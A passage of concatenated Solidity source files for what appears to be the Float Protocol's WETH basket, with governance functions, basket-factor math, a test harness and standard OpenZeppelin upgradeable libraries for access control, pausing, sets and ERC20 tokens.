IERC20(_weth); float = IERC20(_float); targetRatio = SafeDecimalMath.PRECISE_UNIT; _setupRole(DEFAULT_ADMIN_ROLE, _admin); _setupRole(GOVERNANCE_ROLE, _admin); } /* ========== MODIFIERS ========== */ modifier onlyGovernance { require( hasRole(GOVERNANCE_ROLE, _msgSender()), "AuctionHouse/GovernanceRole" ); _; } /* ========== VIEWS ========== */ /// @inheritdoc IBasketReader function underlying() public view override(IBasketReader) returns (address) { return address(weth); } /// @inheritdoc IBasketReader function getBasketFactor(uint256 targetPriceInEth) external view override(IBasketReader) returns (uint256 basketFactor) { uint256 wethInBasket = weth.balanceOf(address(this)); uint256 floatTotalSupply = float.totalSupply(); return basketFactor = BasketMath.calcBasketFactor( targetPriceInEth, wethInBasket, floatTotalSupply, targetRatio ); } /* ========== RESTRICTED FUNCTIONS ========== */ /* ----- onlyGovernance ----- */ /// @inheritdoc IBasketGovernedActions function buildAuctionHouse(address _auctionHouse, uint256 _allowance) external override(IBasketGovernedActions) onlyGovernance { grantRole(AUCTION_HOUSE_ROLE, _auctionHouse); weth.safeApprove(_auctionHouse, 0); weth.safeApprove(_auctionHouse, _allowance); } /// @inheritdoc IBasketGovernedActions function burnAuctionHouse(address _auctionHouse) external override(IBasketGovernedActions) onlyGovernance { revokeRole(AUCTION_HOUSE_ROLE, _auctionHouse); weth.safeApprove(_auctionHouse, 0); } /// @inheritdoc IBasketGovernedActions function setTargetRatio(uint256 _targetRatio) external override(IBasketGovernedActions) onlyGovernance { require( _targetRatio <= BasketMath.MAX_TARGET_RATIO, "BasketV1/RatioTooHigh" ); require( _targetRatio >= BasketMath.MIN_TARGET_RATIO, "BasketV1/RatioTooLow" ); targetRatio = _targetRatio; emit NewTargetRatio(_targetRatio); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../utils/EnumerableSetUpgradeable.sol"; import "../utils/AddressUpgradeable.sol"; import "../utils/ContextUpgradeable.sol"; import "../proxy/Initializable.sol"; /** * @dev Contract module that allows children to implement role-based access * control mechanisms. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, msg.sender)); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. * * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. */ abstract contract AccessControlUpgradeable is Initializable, ContextUpgradeable { function __AccessControl_init() internal initializer { __Context_init_unchained(); __AccessControl_init_unchained(); } function __AccessControl_init_unchained() internal initializer { } using EnumerableSetUpgradeable for EnumerableSetUpgradeable.AddressSet; using AddressUpgradeable for address; struct RoleData { EnumerableSetUpgradeable.AddressSet members; bytes32 adminRole; } mapping (bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view returns (bool) { return _roles[role].members.contains(account); } /** * @dev Returns the number of accounts that have `role`. Can be used * together with {getRoleMember} to enumerate all bearers of a role. */ function getRoleMemberCount(bytes32 role) public view returns (uint256) { return _roles[role].members.length(); } /** * @dev Returns one of the accounts that have `role`. `index` must be a * value between 0 and {getRoleMemberCount}, non-inclusive. * * Role bearers are not sorted in any particular way, and their ordering may * change at any point. * * WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure * you perform all queries on the same block. See the following * https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post] * for more information. */ function getRoleMember(bytes32 role, uint256 index) public view returns (address) { return _roles[role].members.at(index); } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual { require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to grant"); _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual { require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to revoke"); _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { emit RoleAdminChanged(role, _roles[role].adminRole, adminRole); _roles[role].adminRole = adminRole; } function _grantRole(bytes32 role, address account) private { if (_roles[role].members.add(account)) { emit RoleGranted(role, account, _msgSender()); } } function _revokeRole(bytes32 role, address account) private { if (_roles[role].members.remove(account)) { emit RoleRevoked(role, account, _msgSender()); } } uint256[49] private __gap; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../utils/ContextUpgradeable.sol"; // SPDX-License-Identifier: MIT // solhint-disable-next-line compiler-version pragma solidity >=0.4.24 <0.8.0; import "../utils/AddressUpgradeable.sol"; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {UpgradeableProxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { require(_initializing || _isConstructor() || !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } /// @dev Returns true if and only if the function is running in the constructor function _isConstructor() private view returns (bool) { return !AddressUpgradeable.isContract(address(this)); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "./ContextUpgradeable.sol"; import "../proxy/Initializable.sol"; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract PausableUpgradeable is Initializable, ContextUpgradeable { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ function __Pausable_init() internal initializer { __Context_init_unchained(); __Pausable_init_unchained(); } function __Pausable_init_unchained() internal initializer { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } uint256[49] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.7.6; pragma abicoder v2; import "./basket/IBasketReader.sol"; import "./basket/IBasketGovernedActions.sol"; /** * @title The interface for a Float Protocol Asset Basket * @notice A Basket stores value used to stabilise price and assess the * the movement of the underlying assets we're trying to track. * @dev The Basket interface is broken up into many smaller pieces to allow only * relevant parts to be imported */ interface IBasket is IBasketReader, IBasketGovernedActions { } // SPDX-License-Identifier: MIT pragma solidity =0.7.6; import "../external-lib/SafeDecimalMath.sol"; library BasketMath { using SafeMath for uint256; using SafeDecimalMath for uint256; // SafeDecimalMath.PRECISE_UNIT = 1e27 uint256 internal constant MIN_TARGET_RATIO = 0.1e27; uint256 internal constant MAX_TARGET_RATIO = 2e27; /** * @dev bF = ( eS / (fS * tP) ) / Q * @param targetPriceInEth [e27] target price (tP). * @param ethStored [e18] denoting total eth stored in basket (eS). * @param floatSupply [e18] denoting total floatSupply (fS). * @param targetRatio [e27] target ratio (Q) * @return basketFactor an [e27] decimal (bF) */ function calcBasketFactor( uint256 targetPriceInEth, uint256 ethStored, uint256 floatSupply, uint256 targetRatio ) internal pure returns (uint256 basketFactor) { // Note that targetRatio should already be checked on set assert(targetRatio >= MIN_TARGET_RATIO); assert(targetRatio <= MAX_TARGET_RATIO); uint256 floatValue = floatSupply.multiplyDecimalRoundPrecise(targetPriceInEth); uint256 basketRatio = ethStored.divideDecimalRoundPrecise(floatValue); return basketFactor = basketRatio.divideDecimalRoundPrecise(targetRatio); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. */ library EnumerableSetUpgradeable { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library AddressUpgradeable { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../proxy/Initializable.sol"; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract ContextUpgradeable is Initializable { function __Context_init() internal initializer { __Context_init_unchained(); } function __Context_init_unchained() internal initializer { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } uint256[50] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.7.6; pragma abicoder v2; /** * @title Basket Actions with suitable access control * @notice Contains actions which can only be called by governance. */ interface IBasketGovernedActions { event NewTargetRatio(uint256 targetRatio); /** * @notice Sets the basket target factor, initially "1" * @dev Expects an [e27] fixed point decimal value. * Target Ratio is what the basket factor is "aiming for", * i.e. target ratio = 0.8 then an 80% support from the basket * results in a 100% Basket Factor. * @param _targetRatio [e27] The new Target ratio */ function setTargetRatio(uint256 _targetRatio) external; /** * @notice Connect and approve a new auction house to spend from the basket. * @dev Note that any allowance can be set, and even type(uint256).max will * slowly be eroded. * @param _auctionHouse The Auction House address to approve * @param _allowance The amount of the underlying token it can spend */ function buildAuctionHouse(address _auctionHouse, uint256 _allowance) external; /** * @notice Remove an auction house, allows easy upgrades. * @param _auctionHouse The Auction House address to revoke. */ function burnAuctionHouse(address _auctionHouse) external; } // SPDX-License-Identifier: MIT pragma solidity =0.7.6; import "../BasketMath.sol"; contract BasketMathHarness { function _calcBasketFactor( uint256 targetPriceInEth, uint256 ethStored, uint256 floatSupply, uint256 targetRatio ) external pure returns (uint256 basketFactor) { return BasketMath.calcBasketFactor( targetPriceInEth, ethStored, floatSupply, targetRatio ); } } // SPDX-License-Identifier: MIT pragma solidity =0.7.6; import "@openzeppelin/contracts-upgradeable/access/AccessControlUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC20/ERC20Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/utils/PausableUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/proxy/Initializable.sol"; /** * @title {ERC20} Pausable token through the PAUSER_ROLE * * @dev This contract uses OpenZeppelin {AccessControlUpgradeable} to lock permissioned functions using the different roles. */ abstract contract ERC20PausableUpgradeable is Initializable, PausableUpgradeable, AccessControlUpgradeable, ERC20Upgradeable { bytes32 public constant PAUSER_ROLE = keccak256("PAUSER_ROLE"); // solhint-disable-next-line func-name-mixedcase function __ERC20Pausable_init_unchained(address pauser) internal initializer { _setupRole(PAUSER_ROLE, pauser); } /** * @dev Pauses all token transfers. * * See {ERC20Pausable} and {Pausable-_pause}. * * Requirements: * * - the caller must have the `PAUSER_ROLE`. */ function pause() external { require( hasRole(PAUSER_ROLE, _msgSender()), "ERC20Pausable/PauserRoleRequired" ); _pause(); } /** * @dev Unpauses all token transfers. * * See {ERC20Pausable} and {Pausable-_unpause}. * * Requirements: * * - the caller must have the `PAUSER_ROLE`. */ function unpause() external { require( hasRole(PAUSER_ROLE, _msgSender()), "ERC20Pausable/PauserRoleRequired" ); _unpause(); } function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual override(ERC20Upgradeable) { super._beforeTokenTransfer(from, to, amount); require(!paused(), "ERC20Pausable/Paused"); } uint256[50] private __gap; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../../utils/ContextUpgradeable.sol"; import "./IERC20Upgradeable.sol"; import "../../math/SafeMathUpgradeable.sol"; import "../../proxy/Initializable.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20Upgradeable is Initializable, ContextUpgradeable, IERC20Upgradeable { using SafeMathUpgradeable for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ function __ERC20_init(string memory name_, string memory symbol_) internal initializer { __Context_init_unchained(); __ERC20_init_unchained(name_, symbol_); } function __ERC20_init_unchained(string memory name_, string memory symbol_) internal initializer { _name = name_; _symbol = symbol_; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view virtual returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, 